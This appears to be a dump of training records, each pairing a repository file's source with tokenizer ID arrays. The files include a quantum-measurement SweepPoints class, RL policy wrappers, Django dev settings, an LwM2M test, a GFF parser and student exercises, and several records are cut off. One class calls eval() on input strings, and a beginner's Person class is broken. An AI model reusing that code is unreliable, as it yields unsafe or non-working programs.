""" This class is used to create sweep points for any measurement. The SweepPoints object is a list of dictionaries of the form: [ # 1st sweep dimension {param_name0: (values, unit, label), param_name1: (values, unit, label), ... param_nameN: (values, unit, label)}, # 2nd sweep dimension {param_name0: (values, unit, label), param_name1: (values, unit, label), ... param_nameN: (values, unit, label)}, . . . # D-th sweep dimension {param_name0: (values, unit, label), param_name1: (values, unit, label), ... param_nameN: (values, unit, label)}, ] Example how to use this class to create a 2D sweep for 3 qubits, where the first (hard) sweep is over amplitudes and the : sp = SweepPoints() for qb in ['qb1', 'qb2', 'qb3']: sp.add_sweep_parameter(f'lengths_{qb}', np.linspace(10e-9, 1e-6, 80), 's', 'Pulse length, $L$') sp.add_sweep_dimension() for qb in ['qb1', 'qb2', 'qb3']: sp.add_sweep_parameter(f'amps_{qb}', np.linspace(0, 1, 20), 'V', 'Pulse amplitude, $A$') """ def __init__(self, param=None, values=None, unit='', label=None, dimension=-1, min_length=0): """ Create a SweepPoints instance. :param param: list of dicts, repr of SweepPoints instance, or name of a sweep parameter :param values: list or array of numeric values of the sweep parameter specified by param :param unit: string specifying the unit of the sweep parameter specified by param :param label: str specifying the (latex style) label/name of the sweep parameter specified by param :param dimension: sweep dimension where sweep parameter param should be added :param min_length: minimum number of sweep dimensions to create """ super().__init__() if isinstance(param, list): self.add_dict_list(param) elif isinstance(param, str): if values is not None: self.add_sweep_parameter(param, values, unit, label, dimension) else: self.add_dict_list(eval(param)) while len(self) < min_length: self.add_sweep_dimension() def __getitem__(self, i): """ Overloading of List.__getitem__ to ensure type SweepPoints is preserved. :param i: element or slice :return: element or new SweepPoints instance """ if isinstance(i, str): new_data = self.get_sweep_params_property('values', 'all', i) else: new_data = super().__getitem__(i) if isinstance(i, slice): new_data = self.__class__(new_data) return new_data def add_dict_list(self, dict_list): """ Append the dicts in dict_list to self. :param dict_list: list of dictionaries in the format of this class, or in the legacy format {param_name: {'values': ..., 'unit': ..., 'label': ...}} """ for d in deepcopy(dict_list): if len(d) == 0 or isinstance(list(d.values())[0], tuple): # assume that dicts have the same format as this class self.append(d) else: # import from a list of sweep dicts in the old format self.append({k: (v['values'], v.get('unit', ''), v.get('label', k)) for k, v in d.items()}) def add_sweep_parameter(self, param_name, values, unit='', label=None, dimension=-1): """ Adds sweep points to a given dimension. :param param_name: (str) parameter name :param values: (list or numpy array) sweep values :param unit: (optional str) unit of the values (default: '') :param label: (optional str) label e.g. for plots (default: param_name) :dim: the dimension to which the point should be added (default: last dimension) """ if label is None: label = param_name assert self.find_parameter(param_name) is None, \ f'A sweep parameter with name "{param_name}" already exists.' while len(self) == 0 or (dimension >= 0 and dimension >= len(self)): self.add_sweep_dimension() assert self.length(dimension) in [0, len(values)], \ 'Number of values has to match the length of existing sweep ' \ 'points.' self[dimension].update({param_name: (values, unit, label)}) def add_sweep_dimension(self): self.append(dict()) def get_sweep_dimension(self, dimension='all', pop=False): """ Returns the sweep dict of the sweep dimension specified by dimension. :param dimension: int specifying a sweep dimension or the string 'all' :param pop: bool specifying whether to pop (True) or get(False) the sweep dimension. :return: self if dimension == 'all', else self[dimension] """ if dimension == 'all': if pop: to_return = deepcopy(self) self.clear() return to_return else: return self else: if len(self) < dimension: raise ValueError(f'Dimension {dimension} not found.') to_return = self[dimension] if pop: self[dimension] = {} return to_return def get_sweep_params_description(self, param_names, dimension='all', pop=False): """ Get the sweep tuples for the sweep parameters param_names if they are found in the sweep dimension dict specified by dimension. :param param_names: string or list of strings corresponding to keys in the dictionaries in self. Can also be 'all' :param dimension: 'all' or int specifying a sweep dimension :param pop: bool specifying whether to pop (True) or get(False) the sweep parameters. :return: If the param_names are found in self or self[dimension]: if param_names == 'all': list with all the sweep tuples in the sweep dimension dict specified by dimension. if param_names is string: string with the sweep tuples of each param_names in the sweep dimension dict specified by dimension. if param_names is list: list with the sweep tuples of each param_names in the sweep dimension dict specified by dimension. if param_names is None: string corresponding to the first sweep parameter in the sweep dimension dict If none of param_names are found, raises KeyError. """ sweep_points_dim = self.get_sweep_dimension( dimension, pop=pop and param_names == 'all') is_list = True if param_names != 'all' and not isinstance(param_names, list): param_names = [param_names] is_list = False sweep_param_values = [] if isinstance(sweep_points_dim, list): for sweep_dim_dict in sweep_points_dim: if param_names == 'all': sweep_param_values += list(sweep_dim_dict.values()) else: for pn in param_names: if pn in sweep_dim_dict: sweep_param_values += [sweep_dim_dict.pop(pn) if pop else sweep_dim_dict[pn]] else: # it is a dict if param_names == 'all': sweep_param_values += list(sweep_points_dim.values()) else: for pn in param_names: if pn in sweep_points_dim: sweep_param_values += [sweep_points_dim.pop(pn) if pop else sweep_points_dim[pn]] if len(sweep_param_values) == 0: s = "sweep points" if dimension == "all" else f'sweep dimension ' \ f'{dimension}' raise KeyError(f'{param_names} not found in {s}.') if is_list: return sweep_param_values else: return sweep_param_values[0] def get_sweep_params_property(self, property, dimension='all', param_names=None): """ Get a property of the sweep parameters param_names in self. :param property: str with the name of a sweep param property. Can be "values", "unit", "label." :param dimension: 'all' or int specifying a sweep dimension (default 'all') :param param_names: None, or string or list of strings corresponding to keys in the sweep dimension specified by dimension. Can also be 'all' :return: if param_names == 'all': list with the property of all param_names in the sweep dimension dict specified by dimension. if param_names is string: the property of the sweep parameter specified in param_names in the sweep dimension dict specified by dimension. if param_names is list: list with the property of each param_names in the sweep dimension dict specified by dimension. if param_names is None: property corresponding to the first sweep parameter in the sweep dimension dict """ properties_dict = {'values': 0, 'unit': 1, 'label': 2} sweep_points_dim = self.get_sweep_dimension(dimension) if param_names is None: if isinstance(sweep_points_dim, list): for sweep_dim_dict in sweep_points_dim: if len(sweep_dim_dict) == 0: return [] if property == 'values' else '' else: return next(iter(sweep_dim_dict.values()))[ properties_dict[property]] else: if len(sweep_points_dim) == 0: return [] if property == 'values' else '' else: return next(iter(sweep_points_dim.values()))[ properties_dict[property]] elif param_names == 'all' or isinstance(param_names, list): return [pnd[properties_dict[property]] for pnd in self.get_sweep_params_description(param_names, dimension)] else: return self.get_sweep_params_description( param_names, dimension)[properties_dict[property]] def get_meas_obj_sweep_points_map(self, measurement_objects): """ Constructs the measurement-objects-sweep-points map as the dict {mobj_name: [sweep_param_name_0, ..., sweep_param_name_n]} If a sweep dimension has only one sweep parameter name (dict with only one key), then it assumes all mobjs use that sweep parameter name. If the sweep dimension has more than one sweep parameter name (dict with several keys), then: - first tries to add to the list for each mobj only those sweep param names that contain the mobj_name. - If it can't find the mobj_name in the sweep param name, assumes there is only one param per mobj in each sweep dimension, and that the order of params in each sweep dimension corresponds to the order of keys in keys_list. I.e. key_i in sweep_points[0] contains the sweep information for measured_objects[i]. :param measured_objects: list of strings to be used as keys in the returned dictionary. These are the measured object names :return: dict of the form {mobj_name: [sweep_param_name_0, ..., sweep_param_name_n]} """ if not isinstance(measurement_objects, list): measurement_objects = [measurement_objects] for i, mobj in enumerate(measurement_objects): if hasattr(mobj, 'name'): measurement_objects[i] = mobj.name sweep_points_map = OrderedDict() for i, mobjn in enumerate(measurement_objects): sweep_points_map[mobjn] = [] for dim, d in enumerate(self): if len(d) == 1: # assume all mobjs use the same param_name sweep_points_map[mobjn] += [next(iter(d))] elif mobjn in list(d)[i]: sweep_points_map[mobjn] += [list(d)[i]] else: if len(d) != len(measurement_objects): raise ValueError( f'{len(measurement_objects)} measurement objects ' f'were given but there are {len(d)} ' f'sweep parameters in dimension {dim}.') sweep_points_map[mobjn] += [list(d)[i]] return sweep_points_map def length(self, dimension='all'): """ Returns the number of sweep points in a given sweep dimension (after a sanity checking). :param dimension: ('all' or int) sweep dimension (default: 'all'). :return: (int) number of sweep points in the given dimension """ if dimension == 'all': return [self.length(d) for d in range(len(self))] if len(self) == 0 or (dimension >= 0 and dimension >= len(self)): return 0 n = 0 for p in self[dimension].values(): if n == 0: n = len(p[0]) elif n != len(p[0]): raise ValueError('The lengths of the sweep points are not ' 'consistent.') return n def update(self, sweep_points): """ Updates the sweep dictionaries of all dimensions with the sweep dictionaries passed as sweep_points. Non-exisiting parameters and required additional dimensions are added if needed. :param sweep_points: (SweepPoints) a SweepPoints object containing the sweep points to be updated. :return: """ while len(self) < len(sweep_points): self.add_sweep_dimension() for d, u in zip(self, sweep_points): d.update(u) def find_parameter(self, param_name): """ Returns the index of the first dimension in which a given sweep parameter is found. :param param_name: (str) name of the sweep parameter :return: (int or None) the index of the first dimension in which the parameter if found or None if no parameter with the given name exists. """ for dim in range(len(self)): if param_name in self[dim]: return dim return None def subset(self, i, dimension=0): """ Returns a new SweepPoints object with one of the dimensions reduced to a subset of the sweep values. The other dimensions are unchanged. :param i: (list) indices of the sweep values that should be contained in the subset. :param dimension: (int, default 0) index of the dimension that should be reduced """ sp = SweepPoints(self) for k, v in sp[dimension].items(): sp[dimension][k] = (np.array(v[0])[i], v[1], v[2]) return sp def remove_sweep_parameter(self, param_name): """ Removes a the sweep parameter with a given name from the SweepPoints object. If the parameter is not found, a warning is issued. :param param_name: (str) name of the sweep parameter to remove """ dim = self.find_parameter(param_name) if dim is None: log.warning(f"remove_sweep_parameter: Sweep parameter " f"{param_name} not found.") else: del self[dim][param_name]	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 5215, 12183, 13, 1188, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 3166, 16250, 1053, 8170, 287, 21533, 13, 3166, 3509, 1053, 6483, 8552, 13, 5215, 12655, 408, 7442, 13, 3166, 12655, 1053, 1409, 29871, 396, 2448, 19226, 363, 19745, 29889, 1938, 451, 3349, 29889, 13, 13, 1990, 317, 705, 1022, 20325, 29898, 1761, 1125, 13, 1678, 9995, 13, 1678, 910, 770, 338, 1304, 304, 1653, 7901, 1022, 3291, 363, 738, 20039, 29889, 13, 1678, 450, 317, 705, 1022, 20325, 1203, 338, 263, 1051, 310, 21503, 4314, 310, 278, 883, 29901, 13, 4706, 518, 13, 9651, 396, 29871, 29896, 303, 7901, 1022, 9927, 13, 9651, 426, 3207, 29918, 978, 29900, 29901, 313, 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bloodbank_rl/tianshou_utils/policies.py	joefarrington/bloodbank_rl	0	48860	<filename>bloodbank_rl/tianshou_utils/policies.py from tianshou.policy import A2CPolicy, PPOPolicy from typing import Any, Dict, List, Optional, Type from tianshou.data import Batch # Normal key structure for output doesn't work with MLFlow logging nicely # loss used as a key and also parent class A2CPolicyforMLFlow(A2CPolicy): def learn( self, batch: Batch, batch_size: int, repeat: int, kwargs: Any ) -> Dict[str, List[float]]: loss_dict = super().learn(batch, batch_size, repeat, kwargs) output_loss_dict = {} output_loss_dict["loss"] = loss_dict["loss"] output_loss_dict["loss_component/actor"] = loss_dict["loss/actor"] output_loss_dict["loss_component/vf"] = loss_dict["loss/vf"] output_loss_dict["loss_component/ent"] = loss_dict["loss/ent"] return output_loss_dict class PPOPolicyforMLFlow(PPOPolicy): def learn( self, batch: Batch, batch_size: int, repeat: int, kwargs: Any ) -> Dict[str, List[float]]: loss_dict = super().learn(batch, batch_size, repeat, kwargs) output_loss_dict = {} output_loss_dict["loss"] = loss_dict["loss"] output_loss_dict["loss_component/clip"] = loss_dict["loss/clip"] output_loss_dict["loss_component/vf"] = loss_dict["loss/vf"] output_loss_dict["loss_component/ent"] = loss_dict["loss/ent"] return output_loss_dict	[ 1, 529, 9507, 29958, 14073, 397, 9157, 29918, 2096, 29914, 2034, 550, 10774, 29918, 13239, 29914, 3733, 293, 583, 29889, 2272, 13, 3166, 260, 5834, 10774, 29889, 22197, 1053, 319, 29906, 6271, 324, 4245, 29892, 349, 29925, 4590, 324, 4245, 13, 3166, 19229, 1053, 3139, 29892, 360, 919, 29892, 2391, 29892, 28379, 29892, 5167, 13, 3166, 260, 5834, 10774, 29889, 1272, 1053, 350, 905, 13, 13, 29937, 21981, 1820, 3829, 363, 1962, 1838, 29915, 29873, 664, 411, 23158, 17907, 12183, 28138, 13, 29937, 6410, 1304, 408, 263, 1820, 322, 884, 3847, 13, 13, 13, 1990, 319, 29906, 6271, 324, 4245, 1454, 1988, 17907, 29898, 29909, 29906, 6271, 324, 4245, 1125, 13, 1678, 822, 5110, 29898, 13, 4706, 1583, 29892, 9853, 29901, 350, 905, 29892, 9853, 29918, 2311, 29901, 938, 29892, 12312, 29901, 938, 29892, 3579, 19290, 29901, 3139, 13, 1678, 1723, 1599, 360, 919, 29961, 710, 29892, 2391, 29961, 7411, 5262, 29901, 13, 4706, 6410, 29918, 8977, 353, 2428, 2141, 19668, 29898, 16175, 29892, 9853, 29918, 2311, 29892, 12312, 29892, 3579, 19290, 29897, 13, 4706, 1962, 29918, 6758, 29918, 8977, 353, 6571, 13, 4706, 1962, 29918, 6758, 29918, 8977, 3366, 6758, 3108, 353, 6410, 29918, 8977, 3366, 6758, 3108, 13, 4706, 1962, 29918, 6758, 29918, 8977, 3366, 6758, 29918, 9700, 29914, 7168, 3108, 353, 6410, 29918, 8977, 3366, 6758, 29914, 7168, 3108, 13, 4706, 1962, 29918, 6758, 29918, 8977, 3366, 6758, 29918, 9700, 29914, 29894, 29888, 3108, 353, 6410, 29918, 8977, 3366, 6758, 29914, 29894, 29888, 3108, 13, 4706, 1962, 29918, 6758, 29918, 8977, 3366, 6758, 29918, 9700, 29914, 296, 3108, 353, 6410, 29918, 8977, 3366, 6758, 29914, 296, 3108, 13, 4706, 736, 1962, 29918, 6758, 29918, 8977, 13, 13, 13, 1990, 349, 29925, 4590, 324, 4245, 1454, 1988, 17907, 29898, 18009, 4590, 324, 4245, 1125, 13, 1678, 822, 5110, 29898, 13, 4706, 1583, 29892, 9853, 29901, 350, 905, 29892, 9853, 29918, 2311, 29901, 938, 29892, 12312, 29901, 938, 29892, 3579, 19290, 29901, 3139, 13, 1678, 1723, 1599, 360, 919, 29961, 710, 29892, 2391, 29961, 7411, 5262, 29901, 13, 4706, 6410, 29918, 8977, 353, 2428, 2141, 19668, 29898, 16175, 29892, 9853, 29918, 2311, 29892, 12312, 29892, 3579, 19290, 29897, 13, 4706, 1962, 29918, 6758, 29918, 8977, 353, 6571, 13, 4706, 1962, 29918, 6758, 29918, 8977, 3366, 6758, 3108, 353, 6410, 29918, 8977, 3366, 6758, 3108, 13, 4706, 1962, 29918, 6758, 29918, 8977, 3366, 6758, 29918, 9700, 29914, 24049, 3108, 353, 6410, 29918, 8977, 3366, 6758, 29914, 24049, 3108, 13, 4706, 1962, 29918, 6758, 29918, 8977, 3366, 6758, 29918, 9700, 29914, 29894, 29888, 3108, 353, 6410, 29918, 8977, 3366, 6758, 29914, 29894, 29888, 3108, 13, 4706, 1962, 29918, 6758, 29918, 8977, 3366, 6758, 29918, 9700, 29914, 296, 3108, 353, 6410, 29918, 8977, 3366, 6758, 29914, 296, 3108, 13, 4706, 736, 1962, 29918, 6758, 29918, 8977, 13, 2 ]
terracommon/project/settings/dev.py	Terralego/terra-back	4	47220	# -- coding: utf-8 -- import logging import os from django.utils import six from .base import * # noqa SECRET_KEY = 'dev-<KEY>' ALLOWED_HOSTS = [] DEBUG = True EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' INTERNAL_IPS = ('127.0.0.1',) # Used by app debug_toolbar # Add the Python core NullHandler to be available when needed LOGGING['handlers']['null'] = { # noqa 'level': logging.NOTSET, 'class': 'logging.NullHandler', } # Force every loggers to use console handler only. Note that using 'root' # logger is not enough if children don't propage. for logger in six.itervalues(LOGGING['loggers']): # noqa logger['handlers'] = ['console'] # Log every level. LOGGING['handlers']['console']['level'] = logging.NOTSET # noqa CORS_ORIGIN_ALLOW_ALL = True try: from .local import * # noqa except ImportError: pass	[ 1, 396, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 5215, 12183, 13, 5215, 2897, 13, 13, 3166, 9557, 29889, 13239, 1053, 4832, 13, 13, 3166, 869, 3188, 1053, 334, 29871, 396, 694, 25621, 13, 13, 1660, 22245, 29911, 29918, 10818, 353, 525, 3359, 29899, 29966, 10818, 16299, 13, 13, 1964, 27998, 3352, 29918, 20832, 29903, 353, 5159, 13, 18525, 353, 5852, 13, 13, 26862, 6227, 29918, 29933, 11375, 11794, 353, 525, 14095, 29889, 3221, 29889, 2549, 29889, 1627, 1975, 29889, 11058, 29889, 9823, 5841, 355, 29915, 13, 13, 23845, 29940, 1964, 29918, 5690, 29903, 353, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29897, 29871, 396, 501, 8485, 491, 623, 4744, 29918, 10154, 1646, 13, 13, 29937, 3462, 278, 5132, 7136, 19014, 4598, 304, 367, 3625, 746, 4312, 13, 14480, 29954, 4214, 1839, 3179, 9306, 16215, 4304, 2033, 353, 426, 29871, 396, 694, 25621, 13, 1678, 525, 5563, 2396, 12183, 29889, 12256, 10490, 29892, 13, 1678, 525, 1990, 2396, 525, 21027, 29889, 7327, 4598, 742, 13, 29913, 13, 13, 29937, 11004, 1432, 1480, 5743, 304, 671, 2991, 7834, 871, 29889, 3940, 393, 773, 525, 4632, 29915, 13, 29937, 17927, 338, 451, 3307, 565, 4344, 1016, 29915, 29873, 3107, 482, 29889, 13, 1454, 17927, 297, 4832, 29889, 1524, 5975, 29898, 14480, 29954, 4214, 1839, 1188, 5743, 2033, 1125, 29871, 396, 694, 25621, 13, 1678, 17927, 1839, 3179, 9306, 2033, 353, 6024, 11058, 2033, 13, 29937, 4522, 1432, 3233, 29889, 13, 14480, 29954, 4214, 1839, 3179, 9306, 16215, 11058, 16215, 5563, 2033, 353, 12183, 29889, 12256, 10490, 29871, 396, 694, 25621, 13, 13, 29907, 24125, 29918, 1955, 6259, 1177, 29918, 1964, 27998, 29918, 9818, 353, 5852, 13, 13, 2202, 29901, 13, 1678, 515, 869, 2997, 1053, 334, 29871, 396, 694, 25621, 13, 19499, 16032, 2392, 29901, 13, 1678, 1209, 13, 2 ]
tests/integration/suites/sensitive/update.py	bularcasergiu/Anjay	0	27860	# -- coding: utf-8 -- # # Copyright 2017-2020 AVSystem <<EMAIL>> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import socket from framework.lwm2m.coap.server import SecurityMode from framework.lwm2m_test import * from framework import test_suite class ReconnectBootstrapTest(test_suite.Lwm2mSingleServerTest): def setUp(self): self.setup_demo_with_servers(servers=0, bootstrap_server=True) def runTest(self): self.bootstrap_server.set_timeout(timeout_s=1) pkt = self.bootstrap_server.recv() self.assertMsgEqual(Lwm2mRequestBootstrap(endpoint_name=DEMO_ENDPOINT_NAME), pkt) self.bootstrap_server.send(Lwm2mChanged.matching(pkt)()) original_remote_addr = self.bootstrap_server.get_remote_addr() # reconnect self.communicate('reconnect') self.bootstrap_server.reset() pkt = self.bootstrap_server.recv() # should retain remote port after reconnecting self.assertEqual(original_remote_addr, self.bootstrap_server.get_remote_addr()) self.assertMsgEqual(Lwm2mRequestBootstrap(endpoint_name=DEMO_ENDPOINT_NAME), pkt) self.bootstrap_server.send(Lwm2mChanged.matching(pkt)()) demo_port = self.get_demo_port() self.assertEqual(self.bootstrap_server.get_remote_addr()[1], demo_port) # send Bootstrap Finish req = Lwm2mBootstrapFinish() self.bootstrap_server.send(req) self.assertMsgEqual(Lwm2mChanged.matching(req)(), self.bootstrap_server.recv()) # reconnect once again self.communicate('reconnect') # now there should be no Bootstrap Request with self.assertRaises(socket.timeout): print(self.bootstrap_server.recv(timeout_s=3)) # should retain remote port after reconnecting new_demo_port = self.get_demo_port() self.assertEqual(demo_port, new_demo_port) self.bootstrap_server.connect_to_client(('127.0.0.1', new_demo_port)) # DELETE /33605, essentially a no-op to check connectivity req = Lwm2mDelete(Lwm2mPath('/%d' % (OID.Test,))) self.bootstrap_server.send(req) self.assertMsgEqual(Lwm2mDeleted.matching(req)(), self.bootstrap_server.recv())	[ 1, 396, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 29937, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29896, 29955, 29899, 29906, 29900, 29906, 29900, 16884, 3924, 3532, 26862, 6227, 6778, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 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code/BacDup/scripts/gff_parser.py	JFsanchezherrero/TFM_UOC_AMoya	2	12321	<reponame>JFsanchezherrero/TFM_UOC_AMoya #!/usr/bin/env python3 ############################################################## ## <NAME> & <NAME> ## ## Copyright (C) 2020-2021 ## ############################################################## ''' Created on 28 oct. 2020 @author: alba Modified in March 2021 @author: <NAME> ''' ## useful imports import sys import os import pandas as pd import numpy as np import HCGB from Bio import SeqIO, Seq from Bio.SeqRecord import SeqRecord from BCBio import GFF from BacDup.scripts.functions import columns_annot_table ################################################## def gff_parser_caller(gff_file, ref_file, output_path, debug): '''This function calls the actual gff parser It serves as the entry point either from a module or system call ''' ## set output paths prot_file = os.path.abspath( os.path.join(output_path, 'proteins.fa')) csv_file = os.path.abspath( os.path.join(output_path, 'annot_df.csv')) csv_length = os.path.abspath( os.path.join(output_path, 'length_df.csv')) list_out_files = [prot_file, csv_file, csv_length] try: with open (ref_file) as in_handle: ref_recs = SeqIO.to_dict(SeqIO.parse(in_handle, "fasta")) ## debug messages if (debug): debug_message('GenBank record', 'yellow') print (ref_recs) ## parse with open(prot_file, "w") as out_handle: SeqIO.write(protein_recs(gff_file, ref_recs, list_out_files, debug=debug), out_handle, "fasta") ## return information return (list_out_files) except: return (False) ############################################################ def protein_recs(gff_file, ref_recs, list_out_files, debug=False): '''GFF parser to retrieve proteins and annotation ''' #create an empty dataframe. columns = columns_annot_table() ## get common column names annot_df = pd.DataFrame(data=None, columns=columns) genome_length = pd.DataFrame(data=None, columns=["length"]) with open(gff_file) as in_handle: ##parse the output. Generate SeqRecord and SeqFeatures for predictions ##sort by CDS type. Duplicate genes analysis just needs coding regions to proteins. limit_info = dict(gff_type=["CDS"]) for rec in GFF.parse(in_handle, limit_info = limit_info, base_dict=ref_recs): #get genome length for BioCircos plotting ID = rec.id genome_length.loc[ID,["length"]]=[len(rec.seq)] ## debug messages if (debug): debug_message('GFF record', 'yellow') print(rec) for feature in rec.features: ## Debug messages if (debug): debug_message('feature: ', 'yellow') print(feature) ## strand if feature.strand == -1: strand = "neg" else: strand = "pos" #we create an ID for each entry protID = feature.type + "_" + rec.id + "_" + str(feature.location.nofuzzy_start) + "_" + str(feature.location.nofuzzy_end) + "_" + strand annot_df.loc[protID, ["rec_id", "type", "start", "end", "strand"]] = [ID, feature.type, feature.location.nofuzzy_start, feature.location.nofuzzy_end, strand] qualif = feature.qualifiers ## Debug messages if (debug): debug_message('protID: ' + protID, 'yellow') debug_message('qualif: ', 'yellow') print (qualif) ## loop for keys, values in qualif.items(): #fill the dataframe info if keys == "Note": continue annot_df.loc[protID,[keys]] = [values[0]] ## get gene sequence gene_seq = Seq.Seq(str(rec.seq[feature.location.nofuzzy_start:feature.location.nofuzzy_end])) ## Debug messages if (debug): debug_message('gene_seq: ' + protID, 'yellow') print (gene_seq) if feature.type == "CDS": if feature.strand == -1: gene_seq = gene_seq.reverse_complement() # translate genome sequence table_code = feature.qualifiers["transl_table"][0] protein_seq = gene_seq.translate(table=table_code, to_stop=False) # delete STOP symbols # we set gene_seq.translate to include all stop codons to include # stop codons in pseudogenes. then, we removed last symbol * for # each sequence if protein_seq.endswith(""): protein_seq = protein_seq[:-1] yield(SeqRecord(protein_seq, protID, "", "")) ## print additional information annot_df.to_csv(list_out_files[1], header=True) genome_length.to_csv(list_out_files[2], header=True) #get genome length for BioCircos plotting #genome_length = pd.DataFrame(data=None, columns=["length"]) #ID = rec.id #length = len(rec.seq) #genome_length.loc[ID,["length"]]=[length] #csv_length = "%s/%s_length.csv" % (output_path, rec.id) #genome_length.to_csv(csv_length, header=True) ## debug messages if (debug): debug_message('annot_df: ', 'yellow') print(annot_df) ## empty return return() ################################################################# def main (gff_file, ref_file, output_folder, debug=False): #get name base, ext = os.path.splitext(gff_file) gff_file = os.path.abspath(gff_file) #create folder output_path = HCGB.functions.file_functions.create_folder(output_path) if (debug): print ("## DEBUG:") print ("base:" , base) print ("ext:" , ext) print () gff_parser_caller(gff_file, ref_file, output_path, debug) ################################################################################ if __name__ == "__main__": if len(sys.argv) != 4: print (__doc__) print ("## Usage gff_parser") print ("python %s gff_file ref_fasta_file output_folder\n" %sys.argv[0]) sys.exit() main(sys.argv[1:], debug=True) #main(*sys.argv[1:]) # la variable debug no es obligatoria. tiene un "por defecto definido" # Se utiliza el "=" para indicar el default.	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pythonG/objects.py	ezan2000/Cssi_2018	0	9461	ezan = { 'name': 'ezan', 'age': 18, 'hair': 'brown', 'cool': True , } print(ezan) class Person(object): #use class to make object def __init__( self, name, age ,hair, color, hungry) : #initialize #first object inside of a class is self self.name = 'ezan' self.age = 18 self.hair = 'brown' self.cool = True def eat(self,food): print("EAT {f}".format(f = food)) self.hungry = food def play(self, game): print("Play {p}".format(p = game)) self.play = game def birth(self,person): kids = Person(name = " lail", age = 18, hair = 'black', color = 'blue', hungry = True) ezan = Person( name = "ezan", age = 18, hair = "black", cool = True, hungry = False) print(ezan.name) print('I am hungry') Austin = Person(name = 'austin', age = 18, hair = "Shrek", cool = False, hungry = True)	[ 1, 20803, 273, 353, 426, 13, 1678, 525, 978, 2396, 525, 6096, 273, 742, 13, 1678, 525, 482, 2396, 29871, 29896, 29947, 29892, 13, 13, 1678, 525, 29882, 1466, 2396, 525, 29890, 4708, 742, 13, 1678, 525, 1111, 324, 2396, 5852, 1919, 13, 29913, 13, 13, 2158, 29898, 6096, 273, 29897, 13, 13, 1990, 5196, 29898, 3318, 1125, 396, 1509, 770, 304, 1207, 1203, 13, 1678, 822, 4770, 2344, 12035, 13, 1678, 1583, 29892, 1024, 29892, 5046, 1919, 29882, 1466, 29892, 2927, 29892, 9074, 14793, 29897, 584, 396, 24926, 13, 1678, 396, 4102, 1203, 2768, 310, 263, 770, 338, 1583, 13, 4706, 1583, 29889, 978, 353, 525, 6096, 273, 29915, 13, 4706, 1583, 29889, 482, 353, 29871, 29896, 29947, 13, 13, 4706, 1583, 29889, 29882, 1466, 353, 525, 29890, 4708, 29915, 13, 4706, 1583, 29889, 1111, 324, 353, 5852, 13, 1678, 822, 17545, 29898, 1311, 29892, 1181, 397, 1125, 13, 4706, 1596, 703, 29923, 1299, 426, 29888, 29913, 1642, 4830, 29898, 29888, 353, 9687, 876, 13, 4706, 1583, 29889, 29882, 348, 14793, 353, 9687, 13, 13, 1678, 822, 1708, 29898, 1311, 29892, 3748, 1125, 13, 4706, 1596, 703, 13454, 426, 29886, 29913, 1642, 4830, 29898, 29886, 353, 3748, 876, 13, 1678, 1583, 29889, 1456, 353, 3748, 13, 13, 1678, 822, 12060, 29898, 1311, 29892, 10532, 1125, 13, 4706, 413, 4841, 353, 5196, 29898, 978, 353, 376, 425, 309, 613, 5046, 353, 29871, 29896, 29947, 29892, 11315, 353, 525, 8517, 742, 2927, 353, 525, 9539, 742, 9074, 14793, 353, 5852, 29897, 13, 6096, 273, 353, 5196, 29898, 1024, 353, 376, 6096, 273, 613, 5046, 353, 29871, 29896, 29947, 29892, 29871, 11315, 353, 376, 8517, 613, 12528, 353, 5852, 29892, 9074, 14793, 353, 7700, 29897, 13, 2158, 29898, 6096, 273, 29889, 978, 29897, 13, 2158, 877, 29902, 626, 9074, 14793, 1495, 13, 13, 29909, 504, 262, 353, 5196, 29898, 978, 353, 525, 29874, 504, 262, 742, 5046, 353, 29871, 29896, 29947, 29892, 29871, 11315, 353, 376, 2713, 22218, 613, 12528, 353, 7700, 29892, 9074, 14793, 353, 5852, 29897, 13, 2 ]
machine-learning-ex1/ex1/gradientDescent.py	xu1718191411/coursera-ml-py	0	87486	<gh_stars>0 import numpy as np from computeCost import * def gradient_descent(X, y, theta, alpha, num_iters): # Initialize some useful values m = y.size J_history = np.zeros(num_iters) for i in range(0, num_iters): # ===================== Your Code Here ===================== # Instructions : Perform a single gradient step on the parameter vector theta # # Hint: X.shape = (97, 2), y.shape = (97, ), theta.shape = (2, ) m = np.dot(X, theta) k = m - y k = np.reshape(k,[-1,1]) ss = k * X jj = np.sum(ss,axis=0) gradient = jj / X.shape[0] theta = theta - alpha * gradient # =========================================================== # Save the cost every iteration J_history[i] = compute_cost(X, y, theta) return theta, J_history def gradient_descent_multi(X, y, theta, alpha, num_iters): # Initialize some useful values m = y.size J_history = np.zeros(num_iters) for i in range(0, num_iters): # ===================== Your Code Here ===================== # Instructions : Perform a single gradient step on the parameter vector theta s1 = np.dot(X,theta) - y s1 = np.reshape(s1,(-1,1)) s2 = s1 * X s3 = np.sum(s2,axis=0) s4 = s3 / m theta = theta - alpha * s4 # =========================================================== # Save the cost every iteration J_history[i] = compute_cost(X, y, theta) return theta, J_history	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 5215, 12655, 408, 7442, 13, 3166, 10272, 25733, 1053, 334, 13, 13, 13, 1753, 16030, 29918, 2783, 1760, 29898, 29990, 29892, 343, 29892, 278, 941, 29892, 15595, 29892, 954, 29918, 277, 414, 1125, 13, 1678, 396, 25455, 777, 5407, 1819, 13, 1678, 286, 353, 343, 29889, 2311, 13, 1678, 435, 29918, 18434, 353, 7442, 29889, 3298, 359, 29898, 1949, 29918, 277, 414, 29897, 13, 13, 1678, 363, 474, 297, 3464, 29898, 29900, 29892, 